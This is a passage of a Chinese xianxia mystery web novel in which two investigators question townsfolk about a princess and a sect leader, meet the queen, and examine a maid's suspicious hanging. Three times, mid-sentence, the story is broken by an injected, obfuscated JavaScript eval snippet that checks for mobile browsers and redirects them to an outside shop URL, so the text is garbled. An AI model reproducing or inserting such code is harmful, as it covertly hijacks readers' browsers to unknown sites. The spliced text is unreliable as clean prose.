两人本来是想多走几步路的,但那面摊的招子正中了他们的下怀,很难再移开半步。只见脱了色的招旗上歪歪扭扭地画着几个大字——三代卖面。 面摊的大锅冒着热气,几张桌子放在路边,桌前的条凳看着已经有了年头。此时已经过了饭点,老板娘正跟儿子一起忙着收拾桌椅,老板蹲在路边抽着烟袋休息,一个老妇人撑着拐杖坐在条凳上望着城门,似乎是在午后晒太阳。 两人刚一坐下,老板就起身磕了磕烟袋,笑着跑过来招呼。 西九岭点了两碗面,苏晴沄则状似随意地问老板:“你们三代都在这里卖面吗?那得有几十年了吧?” 老板还没回话,那条凳上的老妇人就开口了:“五十年啦。” 老板见自己的母亲开了口,就不再多话,笑着转身去煮面了。 苏晴沄颇有些感叹地赞道:“这么久啦,真厉害!那皓城的事儿您肯定都知道吧?” 老妇人嘿嘿一笑,漏出残缺不全的一口黄牙,“那是!从太爷爷起,我们家就住在皓城了,没什么事是老婆子不知道的。” 苏晴沄先是迂回着打听了回雁塔的情况,得知这个月份就有大雁回到塔前的落雁湖了,还听说回雁塔曾经被雷劈裂了塔顶,现在的塔顶是后修的。 等面上了桌,西、苏二人交换了一个眼神,都觉得时机差不多了。 于是苏晴沄吃了口面,问出了真正想打听的事情:“听说平乐公主很是心善呢?” “呸!”老妇人仿佛听了什么大逆不道的言语般瞪起了眼睛,“那刁蛮样子要是也能算心善,老王八都能飞上天了!” 只是借驿丞的话起了个头的苏晴沄一脸懵圈,才隔了一个街角,心善就成了刁蛮。不是说凌国之福吗?怎么她觉得这老妇人眼中的平乐公主是凌国之耻啊? 29. 坊间传闻 “奶奶,你又胡说八道了!”面摊老板的儿子把手中的条凳倒扣在桌面上,有些责怪地看着自己的祖母。 “怎么胡说了?!”被孙子当众反驳,老妇人显然很生气,嗓门也提高了不少,“在大街上跑马,稍微被挡住就用鞭子抽人,说她刁蛮都是老婆子口上留德!” 当街纵马、挥鞭抽人?那位扶起跌倒孩童的平乐公主吗?苏晴沄和西九岭忍不住交换了一个眼神,这公主听上去有些分裂啊? “那时候公主还小呢,”擦了一半桌子的老板娘摆了摆手,示意儿子继续干活、别跟祖母争执,“如今就不这样了。” 老妇人用手中的拐杖重重敲击地面,“十五岁还小?你十五岁都嫁进我们家做媳妇了!狗改不了吃屎,猫改不了偷腥!多大也改不了性子!” 老板娘瞥了眼两位客人,有些尴尬地笑了下便低下头继续干活,显然不想跟婆婆争执。 可她儿子年少气盛,忍不住又回了嘴:“当年公主是被小霸王给带坏了!现在跟宗主一起就和善多了,说明她本性不坏。”在他眼中,光鲜亮丽又活泼可爱的公主绝对不是坏人。 “呸!”老妇人往地上啐了一口,“跟着小霸王就刁蛮任性,跟着宗主就温顺善良,根本就是讨男人欢心的水性杨花!” 少年听她越说越难听,气得双颊涨红,可还没想好怎么反驳,就被蹲在墙根的父亲指使出去买烧酒了。 擦完桌子的老板娘有些赧颜地走到两位客人身边低声替婆婆解释:“两位别介意,我婆婆几年前在街上遇到公主纵马,避让慢了些就挨了鞭子,所以心里有些疙瘩。” 苏、西二人大概听明白了,那位平乐公主应该是这几年转了性子,所以刚调任过来的驿丞只觉得她和善,久居此地的老妇人却觉得她刁蛮。 “小霸王和宗主是谁啊?”苏晴沄看出女人不想跟婆婆拌嘴,同样压低了声音问道。 老板娘有些犹豫着不知道该不该说,毕竟自己婆婆当着客人说公主的坏话已经不妥,再聊这个话题似乎并不合适。 原本蹲在墙根的老板不知何时拿着一壶水和三个杯子走了过来,坐在了西九岭旁边的空条凳上,对妻子道:“没看客人快吃完了?盛两碗汤过来。” 他边说边将手中的杯子放在桌上,然后依次倒满水,先是给了两位客人,最后自己留了一杯。女人则如释重负地离开桌子,去盛面汤了。 老板笑呵呵地问西九岭:“两位是住在驿站的吧?” 看样子刚才老板抽烟的时候看到了他们从驿站走出来。西九岭担心老板怕他们是官家的人、不好说话,正想着怎样权衡措辞。 谁知旁边的苏晴沄大大方方应了一声,然后就毫无预兆地开启了口若悬河模式:“我家老爷是画圣文洛川,听说过吗?他也来过凌国的,当年还赢了皓城画府首座。哈哈!不用吃惊,我家老爷可是公认的天下第一画师。 我们这次从景国来,就是因为凌王阁下委托我家老爷为平乐公主作画。 但作画这事如果只停留在表面就会失去灵魂,就像你和面一样,必须根据面粉的情况加水、揉压,不先了解面粉是不行的,对吧?画画也是一样,必须先了解人物的性格,所以我家老爷就派我们先过来了解一下公主的情况。 之前听驿站的人说公主很和善,可那样的话就有些平平无奇了。你可能不太理解,但在画家眼中人物要有个性才丰满、有魅力!个性你懂吧?泼辣、跳脱、娇蛮、情感丰富,这都是个性。我觉得你们描述的公主才更生动、更鲜明、更有魅力!” 老板被她一通忽悠搞得目瞪口呆,觉得这姑娘说的每个字他都明白,可合在一起又不太懂了,最后满脑子想的都是:娘口中的公主很有魅力吗? 一旁的西九岭也听得一愣一愣的,顶尖画师会提前了解人物性格啊?怪不得笔下的人物能够生动传神,原来如此。 直到老板娘端着两碗面汤过来,老板才回过神,努力扯了扯嘴角,可笑容却不太自然,“所以你们想问……”什么来着? “人物的情感变化。”苏晴沄接过面汤顺便道了声谢,然后接着忽悠,“就是公主,她不是先后跟小霸王和宗主谈恋爱吗?这两个人的性格应该很不一样吧?所以公主的性格转变肯定跟这两人有关,如果知道的详细一些就能更加了解公主的内在情感历程,从而画出独具魅力的公主!” 是、是吗…… 老板有些不知所措,明明是打定主意缄舌闭口的,现在却开始犹豫不决了。 端着碗的西九岭借着喝汤的动作掩饰嘴角的抽动。这会儿他算听明白了,这姑娘纯粹是在忽悠。要说了解人物性格才能画得传神还有些道理,可要说了解感情经历能够有助于画画那绝对是胡扯…… 苏晴沄喝了口面汤,冲老板甜甜一笑,“不想说也没关系,我们再去问别人就是。” 她那做好准备找别人打听的态度促使老板下定了决心。与其让这两人只记住母亲那些坏话,还不如自己说几句挽回一下。 他稍稍琢磨,然后开口道:“那个小霸王是个将军的儿子,我记得是姓唐,官职什么的我们这些小民也搞不清楚。就知道是在边关扫清蛮族有功的将军,反正挺厉害。” 苏晴沄知道凌国和陈国都因为一些复杂原因而留存了一些部落国家,老板所说的蛮族应该是此类地方。 “小将军虽然霸道,但确实武功超群、相貌堂堂,当年跟公主在街上骑马,看着也登对,但公主是不是爱上了小将军咱们就不知道了。至于宗主,是城北飞云宗的宗主。”他脸上挂起了笑意,“那可是个好人啊,还经常来咱们店里吃面呢。” “来这里吗?”西九岭有些惊讶,这面摊对一宗之主而言实在俭朴了些。 “有什么奇怪的?”苏晴沄大咧咧瞥了他一眼,“这里的面很好吃啊。” 老板立刻笑开了,“姑娘说的不错,宗主就是因为咱们的面好才来的。” 苏晴沄笑着应和了一声,又将话头转回他们关心的问题:“现在的公主是喜欢那个宗主吧?” 老板挠了挠头,“大概吧。反正他们常常一起,大家也都觉得是。” “大家?” “城里的人啊,公主经常跟宗主在城里闲逛的,看样子挺亲近的。” “那个小将军呢?”如果是曾经的情人,应该会吃醋吧? “哦,小将军七年前跟老将军去边关了,之后就没回来,也没听过他们的消息。我觉得公主当年就是找个玩伴,未必有多喜欢,毕竟还小嘛。” 苏晴沄恍然点头,七年前平乐公主只有十六岁,老板的猜测确有可能。而且小将军七年前就走了,魏宁则是一年前使用的蓝莲花,应该不是他。 所以说那个宗主才是重点,“宗主平时会去公主府吗?” 老板愣了一下,“这个我就不知道了。” 升斗小民能提供这些信息已经要拜几代定居此地所赐了,苏、西二人喝完面汤起身告辞,趁着还有时间,去了皓城最具标志的名胜——回雁塔。 七千年历史的古塔共有七层,通体使用岩石建造。虽然没有华丽的屋檐和雕梁画栋,但朴实无华的外表反倒更加凸显出了历史的厚重。 塔前的落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984453|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雁湖也如老妇人所说,已经到了观赏的时节。冰雪初融的湖面碧蓝如洗,朵朵白云倒影其上,就仿佛天空落入了湖水一般。数百大雁或围在岸边、或游在水面、或盘旋湖上,雁鸣声不绝于耳。 虽然苏晴沄最初是想来这里游玩的,但此时两人的目的已经变成了打探消息。因为这里不止是外地人必看的名胜,也是本地人热衷的游春之所,而这些游春民众也确实没让两人失望。 他们知道了那位小将军的全名叫唐昊,是镇北将军之子,三十岁便有金丹修为,曾被期待成为未来的凌国战神,深得凌王器重。也因此平乐公主年少时常跟他一起胡闹,凌王也不曾阻止。七年前不知唐家父子怎么得罪了凌王,被扔去了边关,从此便没有消息。 而如今跟平乐公主最亲近的人就是飞云宗主。 他道号飞云子,是本地出身的散修,一直云游四海。成就元婴后才带着三个徒弟回到故土,在城北飞云山建立了飞云宗。 令二人感到奇怪的是,所有人说起飞云子都是眉眼含笑,似乎那位宗主是个非常有趣的人,而且丝毫没有气势和威严。据说他为人亲和、钟爱美食、不善理事,宗派只能算是勉强维持,大多事务都由大弟子张可代为处理,人们聊起他的时候倒像是在说邻家的破落户。 至于凌王为何会放任唯一的公主跟飞云子往来,也是众说不一。 有人说是公主年少顽劣,后来得到飞云子教导才变得知书达理,因此凌王让飞云子私下做了平乐公主的老师;也有人说是飞云子修为已达元婴,或许将来能够化神,凌王有意招揽他做驸马。 除此之外,他们还听到一件有趣的事。 九年前平乐公主与唐昊当街纵马,差点撞到了急匆匆赶路的张可,公主挥鞭时被飞云子抓住,唐昊出手却被飞云子一招击落下马、大失颜面。所以平乐公主那几年总喜欢给飞云子找麻烦,后来唐昊离开,公主又不知道为什么跟飞云子亲近了起来。 两人整理信息的时候都觉得调查重点应该就是平乐公主和飞云子,当然还有公主贴身服侍的人,可那些人的信息他们目前还无从得知。 这时候,西九岭的传讯符收到了消息。 廖辰:卢严身上的药粉是一种特殊的毒药,长期服用会上瘾,之后必须定期服用,否则就会毒发。看剂量应该是用来控制体型较小的灵兽的。 体型较小的灵兽——两人立刻想到了那个莫名死在木匣中的避鳞虫。 “所以说那只避鳞虫会死是因为太长时间没吃药了?” “应该是。”西九岭回传了信息询问是否知道具体用量,然后得到了否定回答。 苏晴沄无所谓地耸了耸肩,“毕竟没有测试可用的避鳞虫,算不出用量也很正常。”然后她歪头想了一下,问道,“能复制吗?” 西九岭向她投去疑问的视线。 “让他们做一些送过来,免得咱们又遇上避鳞虫却无药可用啊。” “你身上不是还有?”刘大那份可是给她了的。 “那个早让胡炯送去元城了啊。”苏晴沄惊讶地看着他,不是说过要送去元城让人研究的吗? 也对,毕竟那时候还不知道是给避鳞虫吃的,带在身上也没用。西九岭抬手摸了下鼻子,“那我问问。” 然后他举起传讯符,想了想又放下,走去了远些的地方,打算顺便问些宗门事务。结果停下脚步回头看时,就见“酒夕”站在远处一脸我都懂的笑容。 见他回头便高喊:“记得让你家掌门多弄些药粉送过来!”别光说悄悄话哦。 不,不是你想的那样…… 30. 已经死了 当第一缕晨光落在回雁塔的塔顶,皓城这座北境之都也迎来了黎明。雁鸣比钟声更先一步叫醒沉睡的人们,大街小巷的窗户随之开启。这里的人们似乎格外喜欢大雁,家家户户的门边、窗前都挂着用雁羽制成的装饰,雁鸣啭啭之下别有一番风情。 驿站二楼的客房里,苏晴沄倚在窗边欣赏着与景国截然不同的晨曦,直到一声高喊将她的视线拉向地面。 “师尊!您怎么还在这里!” 一个修士模样的男子出现在对面街道,急匆匆跑向街角的面摊。他看上去三十多岁年纪,黝黑的肤色与北境之地格格不入,高大的身形将本该宽松的道袍撑得有些饱满,脸上的神情除了焦急还有显而易见的埋怨。 坐在摊位上被他唤作师尊的男人从面碗上抬起脸,看上去比作弟子的还要年轻许多,眉目俊朗、皮肤白皙,面对弟子的埋怨依旧笑脸温和、没有半点儿脾气。 见师尊不紧不慢的样子,那个弟子抬手拍了下额头,一脸无奈道:“师尊!晨课就要开始了,大家都在等您呢!” 被叫做师尊的人依旧笑盈盈的,不慌不忙地喝了口汤,“不急,马上就吃完了。” 弟子的脸似乎变得更黑了,埋怨的语气也加重了几分:“每次都是这样!您就不能让我少操点儿心吗?定下的规矩就要执行啊!” “知道了,知道了。”嘴里这么说着,那位师尊依旧慢悠悠地吃着面,完全没有放下碗筷的打算。 作弟子的似乎是真急了,大声道:“就是因为您这个样子,咱们飞云宗才会在仙门中抬不起头,连画屏山的婚宴都没给咱们请柬!” 飞云宗?那不就是飞云子创建的宗派吗? 苏晴沄原本是因为这对师徒的相处模式有趣才倚窗吃瓜的,没想到竟然看到了未来的调查对象。 听说飞云宗至今也不过二十几名弟子,能授晨课的师尊应该很少吧……等等?画屏山的婚宴是指那个吗? 正想着,就见那位师尊笑呵呵地说道:“婚宴最后不是没办成吗?去了也是白跑一趟。” “就算白跑一趟也能见到许多仙门……算了!”那弟子气节道,“上梁不正下梁歪,师尊都不守规矩又如何约束门人?弟子这差事是没法办了,以后师尊还是自行处理宗门事务吧!” 听说要自己处理宗门事务,那位师尊立刻撂下手中的碗、一脸认真道:“为师这就去授晨课。”说完起身就跑。 那弟子要跟上的时候又被老板娘叫住,匆忙结了账才得以追去。 处理宗门事务……看来这对师徒就是传闻中的飞云子和张可吧?苏晴沄有些好笑地关上了窗,感觉昨日的传闻都对上了号,还真是有趣的师徒。 不过这样一个被徒弟当街训斥也没有脾气的人会是天神教徒吗?喜欢这种人的平乐公主又是什么样子?很难想象啊。 走下楼的时候,西九岭已经在大堂等着她,桌上的两笼包子还冒着热气。 两人按约定巳时到达宫门。但今日会面的地点似乎不在大殿,因为引路侍者带着他们走的路径与昨日截然不同。 宫门后是步道,步道尽头是宫门,就这样时而向西、时而转北,最终落入两人眼中的竟然是一座花园。 翠绿的草坪仿佛铺满花园的地毯,修剪整齐的灌木和排列成形的花卉与穹、景两地的庭院风格大相径庭。穿过一座花草搭建的小型迷宫,眼前出现一座二层小楼,白玉墙面上的藤蔓植物已经生出嫩绿的新叶,二楼窗外花架上布置的花卉却还未开花。 当侍者打开楼门,一股灵力从二楼西侧的窗口探出。 灵力绕过窗外的花架,碗口大小的蓝色花卉接连绽放。接下来,小楼外墙上的藤蔓植物生出花苞、开出花朵,点点粉红将绿色的藤蔓点缀如缤纷的缎带。 随着灵力渐渐铺开,鲜花盛放的美景如同传导般以小楼为中心向外扩散,整座花园如同提前迎来了盛夏一般,转瞬间姹紫嫣红、繁花似锦。 西九岭唇角微微上扬,原来更换会面场所是为了给他一份特殊的欢迎礼。 苏晴沄则朝着身边人撇了下嘴,要不是这位背后的大佬,她这个冒牌小金丹也不用见识这么大排场,不过凌王展示实力的方式还是比阅兵有趣多了。 侍者并未跟着两人进楼,而两人也是走上二层之后才发现这小楼竟是一间茶室。 室内并未见到预想中的平乐公主,坐在冰帝对面的是一位其貌不扬的茶师,正从冰筒中取雪化水。 两人的到来并未打断茶师的动作,他甚至没有抬头看一眼,只是继续烹茶。饱经风霜的面孔上布满丘壑,粗糙的双手有着巨大的骨节,雪白的银发随意披散在身后、盖住了上身的麻布短衣,浑身上下唯一的装饰就是脖子上挂着的一串骨雕项链,很长、一直垂到腹部。 如果是在黎村见到这样一位老人,苏晴沄不会感到丝毫意外。但这里是凌国宫廷的茶室,旁边坐的是凌王冰帝,这样一位茶师就显得有些突兀了。 “古詹先生的茶艺颇为独到,孤觉得两位一定能品出其中不凡。” 刚刚落座的两人都因凌王的这句介绍暗暗心惊,实在是这短短一句的信息量太过庞大。 在这世间,能够登堂入室在凌王身侧的古詹只有一个。可他分明该是雪国的大萨克——也就是最高祭司,为什么会在这里为凌王烹茶? 能够想到的答案只有一个,凌国已经控制了这个北境最大的部落国,并将他们的大萨克留在皓城做人质。那么雪国人操控灵兽的秘术呢?是否也被凌国得到了? 果真如此,那么凌国修士的战力将得到大幅提升,穹、景、凌三方之间的军力平衡也将发生变化。 不仅西九岭,就连苏晴沄这个半吊子公主都起了一身白毛汗,原来前面那个迎宾礼不过是热身,重头戏在这里。 答应帮忙完全是出于大义,不要以为凌国无法拒绝穹山——这就是凌王想说的吧? 凌王似乎十分满意两人的沉默,笑着拿起烹好的茶,“这雍华是雪茶中的极品,只有十棵茶树可出,孤也是托了古詹先生的福才能啜其芬芳,二位可要专心饮茶,不要辜负了这一期一会才好。” 接下来,凌王说的也只有茶道。西九岭偶尔接话,但并不似在了空大师面前那般随意。苏晴沄始终闭口不言,只是看着同样沉默的古詹先生烹茶,就当自己真信了凌王的话、专心品茗。 眼看着巳时将过、日近中天,喝茶喝到无聊的苏晴沄有些坐不住了。虽然古詹先生期间上了茶点,又即兴弹了会儿阮琴,可无论如何也不能让她忽略等人的枯燥,平乐公主怎么还不来? 就在她一边腹诽平乐公主迟到,一边佩服身边人依旧能够不动声色的谈笑风生时,楼下有了动静。 随着一阵急促的脚步声,平乐公主昂然直入茶室,身后还跟着一名婢女。没有通禀、没有宣召,进门后就直接扑进了凌王怀里。 就连记忆中备受景王夫妇宠爱的苏晴沄也不忍不住暗暗咋舌,能够全然不顾旁人、大大方方的撒娇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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内贼?苏晴沄眼观鼻、鼻观口、口观心,究竟是内贼还是背锅侠,在她看来还得打个问号。 西九岭则毫不掩饰地扬起嘴角,笑容意味深长。在凌王眼中,那就是怀疑凌国不想提供蓝莲花、编了一场好戏。 凌王轻哼一声,站起身来。下一瞬,她的目光中泛起幽蓝色的光,周身气势冷冽如冰,整个房间的气息也随之寒冷起来。 半坐在地上的平乐公主似乎禁不住寒意、浑身一颤,紧接着想到了母亲要做什么,不敢置信地瞪大了眼睛。一个偷窃的婢女而已,母皇竟然要亲自出手吗? 苏、西二人则立刻感觉到了一种特殊的压迫感,于是瞬间明白了冰帝在做什么——她放开了神识。 化神修士都有自己的绝对领域,有的是出生地、有的是管辖地、有的是化神之地,总之就是与本人存在特殊联结的场所。在这些场所之内,化神修士拥有绝对的掌控力,无论其神识的实际广度有多大,在绝对领域之内都没有边界,即能够覆盖整片领域,并对领域内的其他修士形成一种无形的威压。 当然,化神修士不会经常用神识覆盖自己的绝对领域,就好像老虎也不会没事到处吼叫吓唬山林小兽一样。 但冰帝此刻正在用神识覆盖自己的绝对领域,这意味着只要那个名叫香雪的婢女没有逃出皓城及周边辖县,就会立刻被找出来。 苏晴沄看向平乐公主,她的神情已经转为期待,刚才那一瞬间的惊慌似乎只是因为没想到凌王会亲自动手。 西九岭的视线同样落在平乐公主身上,明显也在观察她的反应。 片刻后,冰帝收回了神识,看着自己的女儿道:“找到了。”从她的声音里听不出丝毫情绪,但接下来的话却令人瞠目,“已经死了。” 三道视线交汇处的平乐公主半张开嘴、震惊的无以复加,看神情她似乎真的不知道香雪已死。 31. 疑点重重 香雪被一条粗糙的麻绳吊在破旧的房梁上,毫无生气的脸孔和垂在半空的双脚宣告着她的死亡。 阳光穿过敞开的大门直射进乏善可陈的破屋,将死亡现场照得一览无遗。正中的尸体、歪倒的木凳、掉落的水囊和散落在水中的树枝,就连对面陋窗上的蛛网都格外清晰。 问询赶来的廷尉在凌王注视下一脸惶恐地命人放下尸体勘验,心里暗暗叫苦。 皓城周边的治安历来良好,纵使难免杀人案件,但大多是凡人间的纠葛。因为修士都会顾及冰帝这位坐镇城中的化神,所以他这个主管治安的廷尉一直做得轻松。 谁知道没事、没事,一有就是大事!不但公主府的婢女横死郊外,而且国宝蓝莲花还失窃了!这简直是要踢飞他这个廷尉的座椅……不,如果解决不当,只怕连脑袋都要不保了! 想到这些他就坐立不安,亲自带人下场勘察、生怕错过关键线索,就连蜘蛛网都仔细看了三遍。 令他不悦的是,凌王带来的一男一女也勘察了现场,这显然是对他这个廷尉的冒犯。可凌王却默许了他们的行径,这又令他有些忐忑,难道陛下已经对他的能力失去了信任?这可不妙啊! 苏晴沄本来是有些犹豫的,但看到“齐鹤扬”坦然走向尸体就不再顾虑了,反正天塌了有这位背后的穹山霸总顶着。 等看完一圈回到凌王身侧,她才发现平乐公主不知何时出去了一趟,这会儿正被婢女搀扶进来,面色苍白、右手放在腹前,似乎是出去吐了。 她突然意识到自己看到尸体并没有太多不适感,即便初到时在济水看到卢严尸体的那次,她也没有吐。这似乎是因为景公主曾经历战乱,可自己为什么会接受那些记忆?难道不是应该像看别人的日记吗?怎么感觉好像自己也经历过一样…… 就在莫名的忧惧爬上心头时,廷尉开始了禀报,让她暂时搁置了私人情绪。 “死者死于今日辰时,死因是窒息。根据现场的情况,死者应该是踏着木凳将麻绳系于梁上,然后将头套入绳圈、踢开木凳。死者颈部没有多余勒痕,墙角的包袱金银细软具在,应该是自杀。”说到此,廷尉顿了一下,“屋内、屋外都没有发现蓝莲花的痕迹。” 凌王蹙起了眉头,显然对未找到蓝莲花有所不满,但并未质疑香雪的自杀。 苏晴沄忍不住开口道:“既然已经逃出来了,为什么还要自杀?”虽然越俎代庖不太好,但只有查明真相才能确认平乐公主是否与此事有关。 “这……”廷尉看向凌王,但这位顶头上司只是微微动了下眼皮、没有阻止的意思,显然也想知道答案。于是他犹豫着回答,“或许是半路想到了吾王陛下的威严,觉得自己注定死路一条,故而自杀?” 千穿万穿马匹不穿,这个答案陛下该是可以接受的吧? 可他还没等到凌王说话就迎来了苏晴沄的追问:“死亡时间是辰时,也就是说香雪在那之前就已经逃到了这里,而我们找到她的时候是午时,之间隔了至少一个时辰,骑马的话应该来得及逃出皓城的辖县才对。” 只要逃出冰帝的绝对领域就无法被立刻找到,有很大几率逃出生天,为什么不继续逃呢? “可她没有骑马。” “那她身上的马毛是哪儿来的?” 廷尉怔了一下,然后面向凌王解释道:“下官也发现了地面和死者衣裙上的马毛,但附近并未找到马匹,想来那些马毛是死者跟公主去马场时沾上的。”公主经常带着婢女去西郊马场,故而他并未深想此事。 苏晴沄看向公主,西九岭却先她一步开了口:“请问公主殿下最近一次去马场是何时?” 平乐公主白了他一眼没说话,一个无名无姓的穹山弟子也敢来问她? 凌王看了眼西九岭,又看了眼女儿,淡淡道:“是何时?”毕竟是穹山掌门,总要给点儿面子的。 平乐公主惊讶地看了眼母亲,然后狠狠瞪向西九岭,几乎是咬牙切齿地答了一句:“前天。” 苏晴沄暗暗咋舌,幸亏不是她问的。 西九岭就跟没看出公主怒意似的继续追问:“当时可带了香雪?” 这次平乐公主长了记性,不过虽然没有拒绝回答,但也只是嗯了一声,半个多余的字都没有。 西九岭看向苏晴沄露出苦笑,这公主的配合度实在堪忧。 苏晴沄眼珠一转,看向平乐公主身边的婢女,问道:“你叫什么?” 那婢女突然被问到有些懵,下意识回答:“甜雨。” 苏晴沄对她露出一个微笑,然后指向香雪的尸体问:“前天去马场时香雪穿的是这身衣服吗?” 甜雨说完名字就后悔了,因为她突然想起了自己主子对这两人的态度。见苏晴沄又问,她忍不住偷瞄了眼主子,不敢再出口作答,只是摇了下头。 苏晴沄点头道:“我想也是,”然后再度转向廷尉,“骑马通常会换骑装,即便香雪只是在马下伺候,回来后也该更衣才是,毕竟姑娘家不会希望身上留着马味儿。” 廷尉有些尴尬,硬着头皮道:“但确实没有发现马匹。”他可不敢问平乐公主府里有没有丢马。 苏晴沄也没有死揪一个问题,而是又提出了一个疑问:“还有,香雪脚下为什么会有那么多树枝?”树枝没有规律的散在地面,但确实都集中在香雪的下方。 廷尉这次谨慎了许多,想了想才道:“这点确实有些奇怪,或许死者本来想生火,结果打翻了水囊、导致拭来的树枝作废,加剧了她的悲观情绪?” 这次说完,他直接试探着瞅向苏晴沄。如今他算看出来了,只有解答了这位姑娘的所有疑问才能让凌王满意。 “那水囊也是个疑点。” “水囊?”廷尉露出了不解的神情,怎么什么到这姑娘眼里都是疑点啊? “水囊一般悬挂腰间,喝水的时候才会取下,不像水壶似的容易不小心打翻。当然,也不是不可能。但这水囊是粉色的,还绣了桃花图案。” “这……有什么问题吗?”廷尉更加疑惑了,这样式就是女孩子用的啊,他实在看不出有什么违和感。 “很有问题。”苏晴沄走到尸体旁边,“香雪穿的是一身藕荷色衣裙,衣角和裙摆都绣了雪花图案。所以说,水囊跟这身衣服不配。” 廷尉眨了眨眼,但扭头看时发现包括凌王在内的所有女性都露出了认同的神情,是、是这样的吗?“这个……” 苏晴沄再次看向甜雨,指着粉色的水囊问:“这水囊你在香雪那里见过吗?” 甜雨又摇了下头。 苏晴沄露出果然如此的神情,“也就是说,水囊或许并不是香雪的。” 直到此时,凌王才正眼看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022089|133627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,“你觉得还有一个人?” 苏晴沄略一思索,点了下头。她本想回答那可能就是真凶,但想到廷尉说香雪颈部没有多余勒痕,那么要证明是他杀就得先想通杀人手法。 凌王的神情依旧没有变化,看不出是否认同她的想法,只是转向廷尉道:“疑点都记下了?” 廷尉立刻躬身回道:“记下了。” “那就去查。” 廷尉面上露出为难之色,有些犹豫地开口:“若要查明诸多疑点,难免需要到公主府调查一番。” 凌王自然明白他的意思,转头对女儿说道:“平乐,此事关乎你的安危,还是得要查明,孤才放心。” 平乐公主微微低头道:“女儿明白,会交代府里人配合廷尉的。” 凌王满意地点了点头,却没有动身的意思。廷尉不用顶头上司多说就立刻会意,领命后便带着自己的人和那具地上的尸体退出去候着了。 等破屋内只剩下凌王母女和西、苏二人,凌王才开口问道:“蓝莲花还有多少?” 平乐公主没想到母亲最先关心的是这个,微微一怔才回答道:“一朵又七瓣。” 凌王点了下头,对西九岭道:“蓝莲花每朵十二瓣、三十年一开花,下次开花是三年后。小女每年需要四瓣蓝莲花做药引,三年便是一朵,其余七瓣还要留出两瓣以防万一,能给穹山的便只有五瓣了。” 这话一出,不仅平乐公主,连西九岭和苏晴沄都有些震惊。 “母皇……” 平乐公主急得眼睛都红了,可凌王却抬手制止了她的发言,“孤答应了穹山,自然要做到。也希望穹山不要食言。” 西九岭自然知道她所指是何事,只是开始好奇这位女王究竟想让他梦见什么? 苏晴沄看看凌王,又看看西九岭。喂,人家续命的药材就剩这么点儿了,咱还要吗? 西九岭没有反应,凌王却再度开口了。 她对女儿道:“带他们去公主府取蓝莲花吧。” 平乐公主深深低下了头,几乎是咬牙切齿地领了旨。 然后就听凌王向着西九岭说道:“玉道友的事情不能耽搁,孤就不留你们了。” 闹半天是要赶他们走人啊!苏晴沄总算明白了凌王死活要给他们蓝莲花的原因了,这还真不能拒绝了,不然连公主府估计都去不成。 走出破屋前,苏晴沄全神贯注地睁大了眼。记得悬疑剧里都说凶手会重回案发现场,要是屋外有围观人群,她可得看仔细了。 本以为案发现场在郊外五里的破屋,肯定没多少人围观,谁知道一出门差点儿闪了眼睛。官兵围起的人墙外里三层外三层的站满了围观群众,而且几乎都是修士。 接着就出现了最重要的关联人物——飞云子。他大步上前给凌王行礼,然后走向平乐公主,后者也立刻迎上去寻求安慰。 苏晴沄半晌才反应过来,这是因为冰帝用神识探查了绝对领域。 设想你本来在家好好喝茶,突然感觉到大佬用神识瞅了你一眼就走了,那还不得赶紧出门去找瓜吃? 好不容易把所有人的脸都记了一遍,就在她准备收回视线的时候,忽然发现数百米外的一棵树后有人。 那人正用右手压低头上的毡帽,连鬓的络腮胡和毡帽将脸孔遮了大半,右手背上的刀疤却一目了然。 32. 还有一个人 一行人去往公主府的路上,西、苏二人才终于得空说明自己的身份,也终于知道了那位廷尉的名字——程久。 当程久听说西九岭来自穹山姓齐名鹤扬的时候怔了一下,然后带着一分犹豫九分八卦的神情试探道:“不知是哪几个字?” 苏晴沄憋着笑替身边人回答:“就是那个齐鹤扬。” 程久的眼睛瞬间放光,真是传闻中的人物啊! 西九岭在一旁不禁面颊微抽。什么叫就是那个齐鹤扬?更可恨的是那个廷尉听后就露出了一脸恍然!难道廖辰还没把那个谣言的问题解决吗? 紧接着,就听到前面舆车上传来了平乐公主的冷笑。这一声笑可谓是攻击力没有、侮辱性极强,少了亲妈的血脉压制,她已经完全释放了天性。 苏晴沄瞥了眼舆车,觉得这位公主仗着有个化神娘实在不把人放在眼里。好想告诉她阎婆惜就是在冷笑宋江之后被杀的,金丹怎么了?再弱也比宋江能打啊。 想着她又瞥向身边人,没想到竟然看到“齐鹤扬”在笑!这……该不会是气疯了吧? 西九岭自然没有疯,只是突然觉得廷尉也不过跟无知少女一般念头。想到自己居然会这些人的眼光,不禁好笑。 不管他怎么想,包括苏晴沄在内的众人都觉得“齐鹤扬”肯定已经内伤,一股低气压开始弥漫。 就在这时,原本跟在舆车侧方的飞云子突然慢下来与西九岭并肩,“原来是剑圣高徒,失敬、失敬。” 苏晴沄看他一脸和煦笑容跟早晨吃面时的样子如出一辙,不禁感叹这人的神经粗得可以。 然后就听飞云子继续开口:“听说穹山生长一种黄金柿,颜色金黄如日光,味甜而不涩,可是真的?” 